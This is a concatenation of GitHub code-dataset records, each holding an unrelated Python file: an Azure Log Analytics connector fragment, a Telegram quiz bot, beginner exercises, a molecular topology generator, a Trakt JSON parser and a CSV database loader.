re.findall(r'(\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}:\\d{2}\\.\\d+?Z)', query)\n        if matches:\n            stop_time = datetime.strptime(matches[1].replace('Z', \"\"), \"%Y-%m-%dT%H:%M:%S.%f\")\n            start_time = datetime.strptime(matches[0].replace('Z', \"\"), \"%Y-%m-%dT%H:%M:%S.%f\")\n        else:\n            stop_time = datetime.utcnow()\n            start_time = stop_time - timedelta(hours=24)\n\n        response = await self.api_client.run_search(query, start_time, stop_time)\n\n        if response[\"success\"]:\n            if response[\"response\"].status == LogsQueryStatus.PARTIAL:\n                error = response[\"response\"].partial_error\n                data = response[\"response\"].partial_data\n                self.logger.warn(error.message)\n            elif response[\"response\"].status == LogsQueryStatus.SUCCESS:\n                data = response[\"response\"].tables\n\n            for table in data:\n                df = pd.DataFrame(data=table.rows, columns=table.columns)\n                return_obj = {\"success\": True, \"data\": df.astype(str).to_dict(orient='records')}\n                return_obj['data'] = return_obj['data']\n\n        else:\n            if isinstance(response[\"error\"], ODataV4Format):\n                response_dict = {\"error\": response[\"error\"], \"code\": response[\"error\"].code}\n            else:\n                response_dict = {\"error\": response[\"error\"]}\n            ErrorResponder.fill_error(return_obj, response_dict, ['error', 'message'], connector=self.connector)\n        return return_obj\n","repo_name":"0xOgy/stix-shifter","sub_path":"stix_shifter_modules/azure_log_analytics/stix_transmission/connector.py","file_name":"connector.py","file_ext":"py","file_size_in_byte":4029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"}
{"seq_id":"3857735274","text":"import logging\nimport os\nimport sys\n\nfrom argparse import ArgumentParser\nfrom pathlib import Path\nfrom typing import Callable\n\nfrom google.cloud import firestore\n\nfrom external.api import ExternalAPI\nfrom external.dictionary.factory import KnowledgeBaseFactory\nfrom external.tg import TelegramFacade\n\nfrom ltquiz.application import BotApplication\nfrom external.storage import StorageFacade\nfrom utils import fs\n\nlogger = logging.getLogger('lt-quiz-bot')\n\n\nlogging.basicConfig(stream=sys.stdout, level=logging.INFO)\n\n\ndef env_var(env, default=None, prefix='LT_QUIZ_'):\n    return os.environ.get(f'{prefix}{env}', default)\n\n\ndef get_args():\n    parser = ArgumentParser()\n    parser.add_argument(\"--gcp-project-id\", default=env_var('GCP_PROJECT_ID', 'test'), type=str)\n    parser.add_argument(\"--environment-name\", default=env_var('ENVIRONMENT_NAME', 'test'), type=str)\n    parser.add_argument(\"--version\", default=env_var('VERSION', 'local'), type=str)\n    parser.add_argument(\"--telegram-token\", default=env_var('TELEGRAM_TOKEN', None))\n\n    subparsers = parser.add_subparsers(dest='command')\n\n    parser_polling = subparsers.add_parser('polling', help='Run Telegram MessageHandler')\n    parser_polling.set_defaults(command_func=cmd_polling)\n\n    parser_webhook = subparsers.add_parser('webhook', help='Run Telegram MessageHandler')\n    parser_webhook.add_argument(\"--secret-token\", default=env_var('SECRET_TOKEN', None), type=str)\n    parser_webhook.add_argument(\"--url\", default=env_var('URL', None), type=str)\n    parser_webhook.add_argument(\"--port\", default=int(env_var('PORT', 8080)), type=int)\n    parser_webhook.set_defaults(command_func=cmd_webhook)\n\n    parser_gen = subparsers.add_parser('generate', help='Generate dictionary')\n    parser_gen.add_argument(\"--data-dir\", default=env_var('DATA_DIR', fs.data_dir()), type=Path)\n    parser_gen.set_defaults(command_func=cmd_generate)\n\n    parser_migrate = subparsers.add_parser('migrate', help='Migrate App')\n    parser_migrate.set_defaults(command_func=cmd_migrate)\n\n    return parser.parse_args()\n\n\ndef create_bot(gcp_project_id: str, environment_name: str, telegram_token: str, version: str):\n    external = ExternalAPI(\n        db=StorageFacade(firestore.Client(project=gcp_project_id), namespace=environment_name),\n        tg=TelegramFacade(telegram_token),\n    )\n    knowledge = KnowledgeBaseFactory.create_knowledge_base()\n    return BotApplication(external, knowledge, version)\n\n\ndef cmd_polling(bot_creator: Callable[[], BotApplication]):\n    bot_creator().run_polling()\n\n\ndef cmd_webhook(bot_creator: Callable[[], BotApplication], port: int, secret_token: str, url: str):\n    bot_creator().run_webhook(port, secret_token, url)\n\n\ndef cmd_generate(bot_creator: Callable[[], BotApplication], data_dir):\n    KnowledgeBaseFactory.generate_dicitionary_from_google_sheet(data_dir)\n\n\ndef cmd_migrate(bot_creator: Callable[[], BotApplication]):\n    bot_creator().migrate()\n\n\ndef main(command_func,\n         command: str,\n         gcp_project_id: str,\n         environment_name: str,\n         telegram_token: str,\n         version: str,\n         **kwargs):\n    logger.info(f'Start bot with command {command}')\n\n    def bot_creator() -> BotApplication:\n        return create_bot(gcp_project_id, environment_name, telegram_token, version)\n\n    command_func(bot_creator, **kwargs)\n\n\nif __name__ == '__main__':\n    args = get_args()\n    logger.info(args)\n\n    main(**vars(args))\n","repo_name":"zifter/ltquiz-bot","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"71585402031","text":"# CH6 Exercise 6-6: Polling\n#\n# August 7, 2019\n#\n# Given languages.py\n# Make list of people who should take favorite languages poll.  Include some names in the dictionary\n# and some that are not\n\nfavorite_languages = {\n    'jen': 'python',\n    'sarah': 'c',\n    'edward': 'ruby',\n    'phil': 'python',\n    }\n\nnew_list = ['curt', 'john', 'jen', 'danesh', 'phil', 'jeff']\n\n# loop through new_list and check if they took the poll.  If their name exists in favorite_languages,\n# thank them for taking the poll.  If not, ask them to take the poll.\nfor name in new_list:\n    if name in favorite_languages.keys():\n        print(\"Thanks for taking the poll, \" + name.title() + \"!\\n\")\n    else:\n        print(name.title() + \", please take the poll.\\n\")\n","repo_name":"jpc0016/Python-Examples","sub_path":"Crash Course/ch6-Dictionaries/polling.py","file_name":"polling.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"27605687519","text":"# Part 1\n\ntotal = 0\n\ndef solve(line,total):\n\tlista = line.split('|')\n\tdigits = lista[1].split()\n\tprint(digits)\n\tfor digit in digits:\n\t\tif len(digit) == 7: # digit = 8\n\t\t\ttotal += 1\n\t\telif len(digit) == 3: # digit = 7\n\t\t\ttotal += 1\n\t\telif len(digit) == 4: # digit = 4\n\t\t\ttotal += 1\n\t\telif len(digit) == 2: # digit = 1\n\t\t\ttotal += 1\n\treturn total\n\nfile = open(\"day8.txt\",'r')\n\nlines = file.readlines()\n\nfor line in lines:\n\ttotal = solve(line[:-1], total)\n\nprint(total)","repo_name":"Carricossauro/Advent-Of-Code","sub_path":"2021/day08/day8_part1.py","file_name":"day8_part1.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"34966630260","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct  6 17:50:38 2019\n\n@author: emmanuel\n\"\"\"\n#reduce(función, iterable) aplica dos argumentos a los elementos en el \n#iterable, de izquierda a derecha de forma acumulativa\n\nfrom functools import reduce  # Esto es necesario si se está usando Python 3\n\nlista = [2,4,6,8]\na = reduce(lambda x,y: x-y, lista)\nprint(a)","repo_name":"epichardoq/DS-Course","sub_path":"reduce1.py","file_name":"reduce1.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"28336267216","text":"#!/usr/local/anaconda2/bin/python\n\nimport argparse\nimport numpy as np\nimport sys\n\n\n# ---------------------------\n#     Parse                \n# ---------------------------\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"-i\", dest=\"inputfile\", required=True,\n                    help=\"Input file in PDB format with CONECT entries\", metavar=\"FILE\")\nparser.add_argument(\"-o\", dest=\"outputfile\", required=True,\n                    help=\"RTP file\", metavar=\"FILE\")\n\nargs = parser.parse_args()\nInput  = args.inputfile\nOutput = args.outputfile\n\n\n# ---------------------------\n#     Read Data                \n# ---------------------------\n\nInputFile  = open(Input)\nOutputFile = open(Output,'w')\n\nAtomList   = []\nConectList = []\nfor Line in InputFile:\n    if (Line[0:4] == 'ATOM') or (Line[0:6] == 'HETATM'):\n        AtomList.append( [Line.split()[i] for i in [2,3,5,6,7]] )\n    if Line[0:6] == 'CONECT':\n        ConectList.append( map(int,Line.split()[1:]) )\n\nNAtoms  = len(AtomList)\n\n# --- Check if is a single residue  \nfor i in range(NAtoms):\n    if AtomList[i][1] != AtomList[0][1]:\n        sys.exit(\"Error. There should be only one residue\")\n\n# --- Check if if there is at least one CONECT  \nif len(ConectList) == 0:\n    sys.exit(\"Error. There must be CONNECT entries\")\n\n# --- Check if all atoms are conected  \n\nfor i in range(len(AtomList)):\n    Conected=False\n    for Entry in ConectList:\n        for j in range(len(Entry)):\n            if i == Entry[j] -1:\n                Conected = True\n    if Conected == False:\n        sys.stdout.write(\"Warning. Atom \"+AtomList[i][0]+\" is not conected to other atoms.\\n\")\n        sys.stdout.write(\"         If this is wrong, add a CONECT entry in \"+Input+\".\\n \")\n\n\n\n# ---------------------------\n#     Bonds                \n# ---------------------------\n\ndef distance (a,b):\n    a = np.array( a[2:5],dtype=float )\n    b = np.array( b[2:5],dtype=float )\n    Norm = np.linalg.norm(a-b)/10.\n    return \"%5.3f\"%Norm\n\nBondList = []\nfor Entry in ConectList:\n    for i in range(1,len(Entry)):\n        A1 = AtomList[Entry[0] -1]\n        A2 = AtomList[Entry[i] -1]\n  \n        # Eliminates repeated\n        Repeated = False\n        for Bond in BondList:\n            if (A1[0] == Bond[0]) and (A2[0] == Bond[1]):\n                    Repeated = True\n            if (A1[0] == Bond[1]) and (A2[0] == Bond[0]):\n                    Repeated = True\n        if not Repeated:\n            BondList.append( [ A1[0], A2[0], distance(A1,A2), 627.6 ])\nNBonds=len(BondList)\n\n\n\n\n# ---------------------------\n#     Angles                \n# ---------------------------\n\ndef findAtom(AtomName): \n    for Atom in AtomList:\n        if Atom[0] == AtomName:\n            break\n    return Atom\n\ndef angle(a,b,c):\n    a   = np.array( a[2:5],dtype=float )\n    b   = np.array( b[2:5],dtype=float )\n    c   = np.array( c[2:5],dtype=float )\n    ba  = a-b\n    bc  = c-b\n    Nba = np.linalg.norm(ba)\n    Nbc = np.linalg.norm(bc)\n    Angle = np.arccos( ba.dot(bc)/(Nba*Nbc) ) *180 /np.pi\n    return  \"%5.3f\"%Angle\n\n\n# --- Loop over atoms\n# Angles are defined through a the central atom\n\nAngleList = [] \nfor Atom in AtomList:\n\n    # --- Creates Bonded List.\n    # From all the Bond list keeps the ones bonded with this specific atom\n\n    BondedList=[]\n    for Bond in BondList:\n        if (Atom[0] == Bond[0]):\n            BondedList.append( findAtom(Bond[1]) )\n        if (Atom[0] == Bond[1]):\n            BondedList.append( findAtom(Bond[0]) )    \n\n\n    # --- Creates Angle List\n    # Iterates over the Bonded list without considering repeated angles \n\n    for A1 in BondedList:\n        for A2 in BondedList:\n \n            if A1[0] == A2[0]: \n                continue\n\n            Repeated=False\n            for Angle in AngleList:\n                if (A1[0] == Angle[0]) and (Atom[0] == Angle[1]) and (A2[0] == Angle[2]):\n                        Repeated = True\n                if (A1[0] == Angle[2]) and (Atom[0] == Angle[1]) and (A2[0] == Angle[0]):\n                        Repeated = True\n\n            if not Repeated:\n                AngleList.append([ A1[0], Atom[0], A2[0], angle(A1,Atom,A2), 627.6])\n\nNAngles = len(AngleList)\n\n\n\n\n# ---------------------------\n#     Dihedrals                 \n# ---------------------------\n\nDihedList = []\nfor Bond in BondList:\n\n    # --- Creates Bonded List for each atom in bond\n    # From all the Bond list keeps the ones bonded with this specific atom\n\n    Atom = findAtom(Bond[0])\n    BondedList1=[]\n    for xBond in BondList:\n        if (Atom[0] == xBond[0]):\n            BondedList1.append( findAtom(xBond[1]) )\n        if (Atom[0] == xBond[1]):\n            BondedList1.append( findAtom(xBond[0]) )\n\n    Atom = findAtom(Bond[1])\n    BondedList2=[]\n    for xBond in BondList:\n        if (Atom[0] == xBond[0]):\n            BondedList2.append( findAtom(xBond[1]) )\n        if (Atom[0] == xBond[1]):\n            BondedList2.append( findAtom(xBond[0]) )\n\n    for A1 in BondedList1:\n        for A2 in BondedList2:\n\n            if A1[0] == A2[0]:\n                continue\n            if A1[0] == Bond[0] or A1[0] == Bond[1]:\n                continue\n            if A2[0] == Bond[0] or A2[0] == Bond[1]:\n                continue\n\n            Repeated=False\n            for Dihed in DihedList:\n                if (A1[0] == Angle[0]) and (Atom[0] == Angle[1]) and (A2[0] == Angle[2]):\n                        Repeated = True\n                if (A1[0] == Angle[2]) and (Atom[0] == Angle[1]) and (A2[0] == Angle[0]):\n                        Repeated = True\n\n            if not Repeated:\n                DihedList.append([ A1[0], Bond[0], Bond[1], A2[0], 0, 0, 0])\n\nNDiheds = len(DihedList)\n\n\n\n# ---------------------------\n#     OutputFile                \n# ---------------------------\n\nOutputFile.write('\\n['+AtomList[0][1]+' ]\\n')\nOutputFile.write('\\n [ atoms ]\\n')\nfor i in range(NAtoms):\n    OutputFile.write('      '+'%-5s'%AtomList[i][0]+'   XXX   0.0    '+str(i+1)+'\\n')\n\nOutputFile.write('\\n [ bonds ]\\n')\nfor i in range(NBonds):\n    OutputFile.write('      '+'   '.join(map(str,BondList[i][0:4]))+'\\n')\n\nOutputFile.write('\\n [ angles ]\\n')\nfor i in range(NAngles):\n    OutputFile.write('      '+'   '.join(map(str,AngleList[i][0:5]))+'\\n')\n\nOutputFile.write('\\n [ dihedrals ]\\n')\nfor i in range(NDiheds):\n    OutputFile.write('      '+'   '.join(map(str,DihedList[i][0:7]))+'\\n')\n\nOutputFile.write('\\n [ impropers ]\\n')\n\n\n\n\n","repo_name":"rcossio/MD-scripts","sub_path":"MakeRTP/MakeRTP.py","file_name":"MakeRTP.py","file_ext":"py","file_size_in_byte":6374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"72466751471","text":"#作者：zengziwei\n#创建时间：2021/8/13 10:56\n#文件名：requests_json.py\nimport requests\nimport json\nclass request_port():\n    def __init__(self,url,method,header,data):\n        self.url = url\n        self.method = method\n        self.header = header\n        self.data = data\n    def request_post(self):\n        #判断\n        if self.method == \"post\":\n            response = requests.post(url=self.url, headers=self.header, data=json.dumps(self.data))\n        else:\n            response = requests.get(url=self.url, headers=self.header)\n        return  response","repo_name":"zzz97z/autoTest","sub_path":"public_method/requests_json.py","file_name":"requests_json.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"7666417434","text":"import numpy as np\nimport matplotlib.pylab as plt\nfrom glob import glob\nfrom datetime import datetime\n\n#############################################################\n################## Text files ###############################\n#############################################################\n\ndef extract_area(name):\n    \"\"\"Use helper functions to extract sample,time and area of a txt file.\n       Handle txt file of different lengths.\"\"\"\n    \n    li_time = []\n    li_H2 = []\n    li_CO2 = []\n    li_CO = []\n    li_CH4 = []\n    \n    for fi in name:\n        with open(fi) as f:\n            lin = f.read().splitlines()\n        if len(lin)-1 == 1:\n            \"\"\"Get time string 1st line. Appends to li_time\"\"\"\n            li_time.append(lin[0].replace('\"','').split(',')[1].split(' ')[1])\n        elif len(lin)-1 == 2:\n            \"\"\"Get time string 1st line. Appends to li_time\"\"\"\n            li_time.append(lin[0].replace('\"','').split(',')[1].split(' ')[1])\n            \"\"\"Get H2 area 2nd line. Appends to li_H2\"\"\"\n            li_H2.append(float(lin[1].replace('\"','').split(',')[1]))\n        elif len(lin)-1 == 3:\n            \"\"\"Get time string 1st line. Appends to li_time\"\"\"\n            li_time.append(lin[0].replace('\"','').split(',')[1].split(' ')[1])\n            \"\"\"Get H2 area 2nd line. Appends to li_H2\"\"\"\n            li_H2.append(float(lin[1].replace('\"','').split(',')[1]))\n            \"\"\"Get CO2 area 3rd line. Appends to li_CO2\"\"\"\n            li_CO2.append(float(lin[2].replace('\"','').split(',')[1]))\n        elif len(lin)-1 == 4:\n            \"\"\"Get time string 1st line. Appends to li_time\"\"\"\n            li_time.append(lin[0].replace('\"','').split(',')[1].split(' ')[1])\n            \"\"\"Get H2 area 2nd line. Appends to li_H2\"\"\"\n            li_H2.append(float(lin[1].replace('\"','').split(',')[1]))\n            \"\"\"Get CO2 area 3rd line. Appends to li_CO2\"\"\"\n            li_CO2.append(float(lin[2].replace('\"','').split(',')[1]))\n            \"\"\"Get CO area 4th line. Appends to li_CO\"\"\"\n            li_CO.append(float(lin[3].replace('\"','').split(',')[1]))\n        elif len(lin)-1 == 5:\n            \"\"\"Get time string 1st line. Appends to li_time\"\"\"\n            li_time.append(lin[0].replace('\"','').split(',')[1].split(' ')[1])\n            \"\"\"Get H2 area 2nd line. Appends to li_H2\"\"\"\n            li_H2.append(float(lin[1].replace('\"','').split(',')[1]))\n            \"\"\"Get CO2 area 3rd line. Appends to li_CO2\"\"\"\n            li_CO2.append(float(lin[2].replace('\"','').split(',')[1]))\n            \"\"\"Get CO area 4th line. Appends to li_CO\"\"\"\n            li_CO.append(float(lin[3].replace('\"','').split(',')[1]))\n            \"\"\"Get CH4 area 5th line. Appends to li_CH4\"\"\"\n            li_CH4.append(float(lin[4].replace('\"','').split(',')[1]))\n    return li_time,li_H2, li_CO, li_CO2, li_CH4\n    \n    \ndef make_datetime(lst):\n    \"\"\"Used as a key in lambda function\"\"\"\n    date_str = lst.split('_')[1]\n    return datetime.strptime(date_str, '%H-%M-%S')\n\ndef conv_inmin(lst):\n    \"\"\"Convert H:M:S format in minutes for a list of files. Returns a numpy array with time\"\"\"\n    FMT = '%H:%M:%S'\n    li_x = [(datetime.strptime(i, FMT) - datetime.strptime(lst[0], FMT)).total_seconds()/60.0 for i in lst]\n    return np.array(li_x)\n\ndef ev_mis(np1, np2):\n    \"\"\"Even the mismatch between two numpy arrays. The second should be always time\"\"\"\n    if len(np1) < len(np2):\n         diff = np.zeros(len(np2)-len(np1))\n         np_f = np.concatenate((diff,np1))\n         return np_f\n    else:\n        return np1\n\ndef ref(np1, strg):\n    \"\"\"Takes numpy array (np1) and a string (strg) and zip them in a list\n       of tuples of length = len(np1)\"\"\"\n    lst = zip([strg]*len(np1),np1)\n    return lst\n         \nif __name__ == \"__main__\":\n\n    # Dump files into a list and sort them in time order\n    file_txt = glob('*TrendData.txt')\n    sorted_txt = sorted(file_txt, key=make_datetime)\n    \n    # Fill empy lists with the content of SORTED file's name\n    li_time,li_H2,li_CO,li_CO2,li_CH4 = extract_area(sorted_txt)\n    \n    # Make up numpy arrays\n    np_time = conv_inmin(li_time)\n    np_H2 = np.array(li_H2)\n    np_CO2 = np.array(li_CO2)\n    np_CO = np.array(li_CO)\n    np_CH4 = np.array(li_CH4)\n    \n    # Even the mismatch\n    H2_f = ev_mis(np_H2, np_time)\n    CO2_f = ev_mis(np_CO2, np_time)\n    CO_f = ev_mis(np_CO, np_time)\n    CH4_f = ev_mis(np_CH4, np_time)\n    \n    # Dict comprehension\n    ltp1 = ref(H2_f, 'H2')\n    ltp2 = ref(CO2_f, 'CO2')\n    ltp3 = ref(CO_f, 'CO')\n    ltp4 = ref(CH4_f, 'CH4')\n    d = {v:(ltp1[i],ltp2[i],ltp3[i],ltp4[i]) for i,v in enumerate(np_time.tolist())}\n\n#plt.figure(1)\n#plt.title('Normalized Area')\n#plt.plot(np_time,np_H2/max(np_H2), marker='o',label='H2')\n#plt.plot(np_time,CO2_f/max(CO2_f), marker='o',label='CO2')\n#plt.plot(np_time,CO_f/max(CO_f), marker='o',label='CO')\n#plt.plot(np_time,CH4_f/max(CH4_f), marker='o',label='CH4')\n#plt.grid()\n#plt.xlabel('Time / minutes')\n#plt.ylabel('Area')\n#plt.legend(loc='best')\n","repo_name":"sparkvilla/guit_Tkinter","sub_path":"functions_ramantxt.py","file_name":"functions_ramantxt.py","file_ext":"py","file_size_in_byte":4959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"5500429437","text":"from typing import Any, Dict, List\n\nimport jsons  # type: ignore\nfrom trakt.core.exceptions import TraktResponseError\n\nTYPE_TYPE = int.__class__\nITERABLES = {list, dict}\n\nGLOBAL_NAME_MAPPING = {\"costume & make-up\": \"costume_make_up\"}\n\n\ndef parse_tree(data: Any, tree_structure: Any) -> Any:\n    try:\n        data = _apply_name_mapping(data)\n        data = _substitute_none_val(data)\n        return _parse_tree(data, tree_structure)\n    except Exception as e:\n        raise TraktResponseError(errors=[e])\n\n\ndef _apply_name_mapping(data: Any):\n    if isinstance(data, list):\n        data = [_apply_name_mapping(v) for v in data]\n    if isinstance(data, dict):\n        data = {\n            GLOBAL_NAME_MAPPING.get(k, k): _apply_name_mapping(v)\n            for k, v in data.items()\n        }\n\n    return data\n\n\ndef _substitute_none_val(data: Any):\n    \"\"\"Trakt represents null-value as {}. Change it to None.\"\"\"\n    if data == {}:\n        return None\n\n    if isinstance(data, list):\n        data = [_substitute_none_val(v) for v in data]\n    if isinstance(data, dict):\n        data = {k: _substitute_none_val(v) for k, v in data.items()}\n\n    return data\n\n\ndef _parse_tree(data: Any, tree_structure: Any) -> Any:\n    level_type = tree_structure.__class__\n\n    if level_type not in ITERABLES:\n        return jsons.load(data, tree_structure)\n\n    if level_type == list:\n        return _parse_list(data, tree_structure)\n\n    if level_type == dict:\n        return _parse_dict(data, tree_structure)\n\n\ndef _is_arbitrary_value(x: Any) -> bool:\n    return x.__class__ not in (ITERABLES | {type})\n\n\ndef _parse_list(data: List[Any], tree_structure: List[Any]) -> List[Any]:\n    if not tree_structure:\n        return tree_structure\n\n    single_item_type = tree_structure[0]\n    if single_item_type is Any:\n        return data\n    if data is None or not data:\n        return []\n\n    return [_parse_tree(e, single_item_type) for e in data]\n\n\ndef _parse_dict(data: Dict[Any, Any], tree_structure: Dict[Any, Any]) -> Dict[Any, Any]:\n    if not tree_structure:\n        return tree_structure\n\n    wildcards = {  # eg {str: str} / {str: Any}\n        k: v for k, v in tree_structure.items() if isinstance(k, type)\n    }\n\n    defaults = {  # eg {value: value}\n        k: v\n        for k, v in tree_structure.items()\n        if (k not in wildcards) and _is_arbitrary_value(v)\n    }\n\n    result = __parse_dict_items(data, tree_structure, wildcards)\n\n    # set defaults if any keys are missing\n    for k, v in defaults.items():\n        if k not in result:\n            result[k] = v\n\n    return result\n\n\ndef __parse_dict_items(\n    data: Dict[Any, Any], tree_structure: Dict[Any, Any], wildcards: Dict[type, Any]\n):\n    result = {}\n    for k, v in data.items():\n        if k in tree_structure:\n            # v may be a default value -> use its type as subtree type\n            subtree = tree_structure[k]\n            subtree = subtree.__class__ if _is_arbitrary_value(subtree) else subtree\n\n            result[k] = _parse_tree(v, subtree)\n        elif k.__class__ in wildcards:\n            wildcard = wildcards[k.__class__]\n            result[k] = v if wildcard is Any else _parse_tree(v, wildcard)\n\n    return result\n","repo_name":"jmolinski/traktpy","sub_path":"trakt/core/json_parser.py","file_name":"json_parser.py","file_ext":"py","file_size_in_byte":3190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"9766094319","text":"import csv\nimport sys, traceback\nfrom base import base\nimport logging\nimport logging.handlers\n\n\nclass dataloader:\n  #\n  #Initializer\n  #\n  def __init__(self):\n    self.baseinstance = base(\"user1\", \"test1\")\n    self.SUCCESS = 0\n    self.FAILURE = 1\n    LOG_FILENAME = \"/home/akhilesh/sandBox/tripIt/logs/dbloader.log\"\n    self.dblogger = logging.getLogger('tripit.dbloader')\n    self.dblogger.setLevel(logging.DEBUG)\n    logformat = logging.Formatter('%(asctime)s %(filename)s %(funcName)s %(lineno)d %(levelname)s %(message)s')\n    dbhandler = logging.handlers.RotatingFileHandler(LOG_FILENAME, maxBytes=15000000, backupCount=5)\n    dbhandler.setFormatter(logformat)\n    self.dblogger.addHandler(dbhandler)\n    self.dblogger.handlers[0].doRollover()\n\n\n  #Loads data from a csv file\n  def csvloader(self, filename, tablename, dbop):\n    #debug\n    print (\"DEBUG: Running csvloader...\")\n    self.dblogger.info(\"Running csvloader()...\")\n    CSV_FILENAME = filename\n    insertcount  = 0\n    updatecount  = 0\n    if (open(CSV_FILENAME)):\n      with open(CSV_FILENAME) as csvfile:\n        keyFileReader = csv.DictReader(csvfile, restval=\"noMetaKey\")\n        if dbop == \"insert\":\n          if tablename == \"airportcities\":\n            for row in keyFileReader:\n              insertdict = {}\n              #readline\n              if row[\"airportcity\"] and row[\"country\"] and row[\"latitude\"] and row[\"longitude\"]:\n                insertdict['airportcity'] = row[\"airportcity\"]\n                insertdict['country'] = row[\"country\"]\n                insertdict['latitude'] = row[\"latitude\"]\n                insertdict['longitude'] = row[\"longitude\"]\n              try:\n                self.dblogger.debug(\"insertdict {0}\".format(insertdict))\n                self.baseinstance.dbinit(\"apimetadata\")\n                self.baseinstance.dbinsert(tablename, insertdict)\n                self.baseinstance.dbclose()\n                self.dblogger.debug(\"Database insert complete.\")\n                insertcount += 1\n              except:\n                self.dblogger.error(\"Database operation 'INSERT' failed.\")\n                self.baseinstance.dbinit(\"apimetadata\")\n                self.baseinstance.dbrollback()\n                self.baseinstance.dbclose()\n                return self.FAILURE\n                sys.exit(1)\n              finally:\n                if not row or (insertcount == 1000):\n                  if insertcount == 1000:\n                    insertcount = 0\n                  try:\n                    self.baseinstance.dbinit(\"apimetadata\")\n                    self.baseinstance.dbcommit()\n                    self.baseinstance.dbclose()\n                    self.dblogger.debug(\"Database commit complete.\")\n                  except:\n                    self.dblogger.error(\"Database commit failed due to unknown reasons.\")\n                    return self.FAILURE\n                    sys.exit(1)\n          if tablename == \"categorydna\":\n            for row in keyFileReader:\n              insertdict = {}\n              #readline\n              if row[\"category\"] and row[\"chillpoint\"] and row[\"partypoint\"]:\n                insertdict['category'] = row[\"category\"]\n                insertdict['chillout'] = row[\"chillpoint\"]\n                insertdict['party'] = row[\"partypoint\"]\n              try:\n                self.dblogger.debug(\"insertdict {0}\".format(insertdict))\n                self.baseinstance.dbinit(\"algometadata\")\n                self.baseinstance.dbinsert(tablename, insertdict)\n                self.baseinstance.dbclose()\n                self.dblogger.debug(\"Database insert complete.\")\n                insertcount += 1\n              except:\n                self.dblogger.error(\"Database operation 'INSERT' failed.\")\n                self.baseinstance.dbinit(\"algometadata\")\n                self.baseinstance.dbrollback()\n                self.baseinstance.dbclose()\n                return self.FAILURE\n                sys.exit(1)\n              finally:\n                if not row or (insertcount == 1000):\n                  if insertcount == 1000:\n                    insertcount = 0\n                  try:\n                    self.baseinstance.dbinit(\"algometadata\")\n                    self.baseinstance.dbcommit()\n                    self.baseinstance.dbclose()\n                    self.dblogger.debug(\"Database commit complete.\")\n                  except:\n                    self.dblogger.error(\"Database commit failed due to unknown reasons.\")\n                    return self.FAILURE\n                    sys.exit(1)\n        elif dbop == \"update\":\n          for row in keyFileReader:\n            updatedict = {}\n            if row[\"weekendtrip\"] and row[\"explorecountry\"] and row[\"skiing\"] and row[\"familyvacation\"]:\n              updatedict['weekendtrip'] = row[\"weekendtrip\"]\n              updatedict['explorecountry'] = row[\"explorecountry\"]\n              updatedict['skiing'] = row[\"skiing\"]\n              updatedict['familyvacation'] = row[\"familyvacation\"]\n            matchrowdict = {}\n            if row[\"category\"]:\n              matchrowdict['category'] = row[\"category\"]\n            try:\n              self.dblogger.debug(\"updatedict {0}\".format(updatedict))\n              self.dblogger.debug(\"matchrowdict {0}\".format(matchrowdict))\n              self.baseinstance.dbinit(\"algometadata\")\n              self.baseinstance.dbupdate(tablename, updatedict, matchrowdict)\n              self.baseinstance.dbclose()\n              self.dblogger.debug(\"Database update complete.\")\n              updatecount += 1\n            except:\n              self.dblogger.error(\"Database operation 'UPDATE' failed.\")\n              self.baseinstance.dbinit(\"algometadata\")\n              self.baseinstance.dbrollback()\n              self.baseinstance.dbclose()\n              return self.FAILURE\n              sys.exit(1)\n            finally:\n              if not row or (updatecount == 1000):\n                if updatecount == 1000:\n                  updatecount = 0\n                try:\n                  self.baseinstance.dbinit(\"algometadata\")\n                  self.baseinstance.dbcommit()\n                  self.baseinstance.dbclose()\n                  self.dblogger.debug(\"Database commit complete.\")\n                except:\n                  self.dblogger.error(\"Database commit failed due to unknown reasons.\")\n                  return self.FAILURE\n                  sys.exit(1)\n    else:\n      self.dblogger.error(\"Unable to open data file for processing due to unkown errors.\")\n      self.dblogger.error(\"Errormessage - {0}\".format(sys.exc_info()))\n    self.dblogger.info(\"Data has been loaded to the database successfully.\")\n    return self.SUCCESS\n\n\n\n\n#testing/debug\ninstance = dataloader()\n#output = instance.csvloader(\"/home/akhilesh/TripppIn/data/airports.csv\", \"airportcities\")\noutput = instance.csvloader(\"/home/akhilesh/TripppIn/data/categories.csv\", \"categorydna\", \"update\")\nif output is not None and output != 1:\n  print (\"Data has been loaded to the database successfully.\")\nelse:\n  print (\"Data loading to database failed.\")\n","repo_name":"msakil/trippp.in","sub_path":"dbloader.py","file_name":"dbloader.py","file_ext":"py","file_size_in_byte":7053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
